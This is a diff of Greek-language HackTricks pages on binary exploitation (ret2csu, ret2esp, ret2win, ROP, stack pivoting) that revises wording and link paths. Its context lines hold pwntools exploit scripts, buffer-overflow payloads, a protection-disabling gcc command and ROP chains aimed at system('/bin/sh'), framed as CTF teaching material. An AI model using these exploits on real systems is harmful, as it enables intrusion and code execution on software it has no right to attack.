+Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που να ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
 
-Εδώ είναι που μπαίνει σε εφαρμογή το **ret2csu**:
+Εδώ έρχεται το **ret2csu** στο προσκήνιο:
 
 1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
-2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`.
+2. **Χρήση του Δεύτερου Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`.
 
-Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποίησε:
+Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
 ```python
 from pwn import *
 
@@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς να καλέσει μια συνάρτηση που ονομάζεται `win` (λαμβάνοντας τη διεύθυνση του `win` από stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
+> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά για να καλέσει μια συνάρτηση που ονομάζεται `win` (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με μια τρίτη παράμετρο με την τιμή `0xdeadbeefcafed00d`.
 
 ### Γιατί να Μην Χρησιμοποιήσετε Απλά τη libc Άμεσα;
 
-Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
+Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές άμεσα μπορεί να μην είναι δυνατή**.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

@@ -4,15 +4,15 @@
 
 ## **Ret2esp**
 
-**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.
+**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο shellcode τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο shellcode.
 
-Αν **η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη στα Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με ενεργό [**ASLR**](../common-binary-protections-and-bypasses/aslr/), μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Αν **η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη στα Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
-Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί να είναι στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
+Επιπλέον, η δυνατότητα τοποθέτησης του shellcode **μετά την καταστροφή του EIP**, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον shellcode. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο shellcode τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
 
-### Έλλειψη χώρου
+### Lacking space
 
-Αν σας λείπει χώρος για να γράψετε μετά την αντικατάσταση του RIP (ίσως μόνο μερικά bytes), γράψτε έναν αρχικό κώδικα shell `jmp` όπως:
+If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial `jmp` shellcode like:
 ```armasm
 sub rsp, 0x30
 jmp rsp
@@ -52,7 +52,7 @@ p.interactive()
 ## Προστασίες
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιονδήποτε άλλο καταχωρητή.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump στο esp ή σε οποιονδήποτε άλλο καταχωρητή.
 
 ## Αναφορές
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -4,7 +4,7 @@
 
 ## Basic Information
 
-Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε ένα δεδομένο δυαδικό αρχείο για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στο δυαδικό, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
+Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
 
 ### C Example
 
@@ -32,7 +32,7 @@ return 0;
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
 - `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF).
-- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβας.
+- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβα.
 - `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα.
 - `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει.
 - `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`.
@@ -59,7 +59,7 @@ payload = b'A' * 68 + win_addr
 p.sendline(payload)
 p.interactive()
 ```
-Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, θα μπορούσατε να χρησιμοποιήσετε:
+Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε:
 ```sh
 objdump -d vulnerable | grep win
 ```
@@ -69,8 +69,8 @@ objdump -d vulnerable | grep win
 
 ## Προστασίες
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
 
 ## Άλλα παραδείγματα & Αναφορές
 
@@ -86,6 +86,6 @@ objdump -d vulnerable | grep win
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσετε τη συνάρτηση win (ret2win)
+- 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσετε τη συνάρτηση win (ret2win)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -4,12 +4,12 @@
 
 ## **Βασικές Πληροφορίες**
 
-**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
+**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών πράξεων. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
 
 ### Πώς Λειτουργεί το ROP
 
 1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
-2. **Συγκέντρωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδυάζει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει την προετοιμασία παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και την διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
+2. **Συγκέντρωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδυάζει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
 3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
 
 ### Εργαλεία
@@ -34,10 +34,10 @@
 
 ### **ROP Chain**
 
-Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
+Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP chain ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
 
 1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική)
-2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/))
+2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/index.html))
 3. Θέση για τη διεύθυνση επιστροφής από το `system()`
 4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system)
 ```python
@@ -77,18 +77,18 @@ p.interactive()
 
 ### **x64 (64-bit) Calling conventions**
 
-- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου οι **πρώτες έξι ακέραιες ή δείκτες παράμετροι περνούν στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετες παράμετροι περνούν στο στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
-- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να περνούν στο στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
+- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου τα **πρώτα έξι ακέραια ή δείκτες παραμέτρων περνιούνται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετες παράμετροι περνιούνται στο στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
+- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να περνιούνται στο στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
 - **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
 
 #### **Finding Gadgets**
 
-Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη λειτουργία **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
+Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη **"/bin/sh"** συμβολοσειρά ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη **system()** συνάρτηση. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
 
-- **pop rdi; ret**: Αφαιρεί την κορυφαία τιμή του στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**.
+- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**.
 - **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του στοίβας σε ορισμένα σενάρια.
 
-Και γνωρίζουμε τη διεύθυνση της λειτουργίας **system()**.
+Και γνωρίζουμε τη διεύθυνση της **system()** συνάρτησης.
 
 ### **ROP Chain**
 
@@ -135,17 +135,17 @@ p.interactive()
 
 ### Ευθυγράμμιση Στοίβας
 
-**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν καλέσετε τη **system** στην ROP αλυσίδα σας.
+**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν από την κλήση της **system** στην ROP αλυσίδα σας.
 
-## Κύρια διαφορά x86 vs x64
+## κύρια διαφορά x86 vs x64
 
 > [!TIP]
 > Δεδομένου ότι το x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα επιχειρήματα, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική **x64** παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμεταλλεύσεων, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP).
 
 ## Προστασίες
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 
 ## Άλλα Παραδείγματα & Αναφορές
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -4,7 +4,7 @@
 
 ## Basic Information
 
-Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσιοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών `leave; ret`.
+Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών `leave; ret`.
 
 Ως υπενθύμιση, **`leave`** σημαίνει βασικά:
 ```
@@ -30,17 +30,17 @@ ret
 - Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση.
 - Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
 - Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
-- Μερική [**ROP**](rop-return-oriented-programing.md) αλυσίδα.
+- Μια αλυσίδα [**ROP**](rop-return-oriented-programing.md)
 
 Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να καταχραστείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
 
-#### Εκμετάλλευση Off-By-One
+#### Off-By-One Εκμετάλλευση
 
-Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.
+Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής που είναι γνωστή ως "Off-By-One Εκμετάλλευση". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.
 
 ### **EBP Chaining**
 
-Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από τη στοίβα**.
+Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση `EBP` που ελέγχεται από τη στοίβα**.
 
 Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το καταχραστείτε, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
 
@@ -51,7 +51,7 @@ ret
 
 Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
 
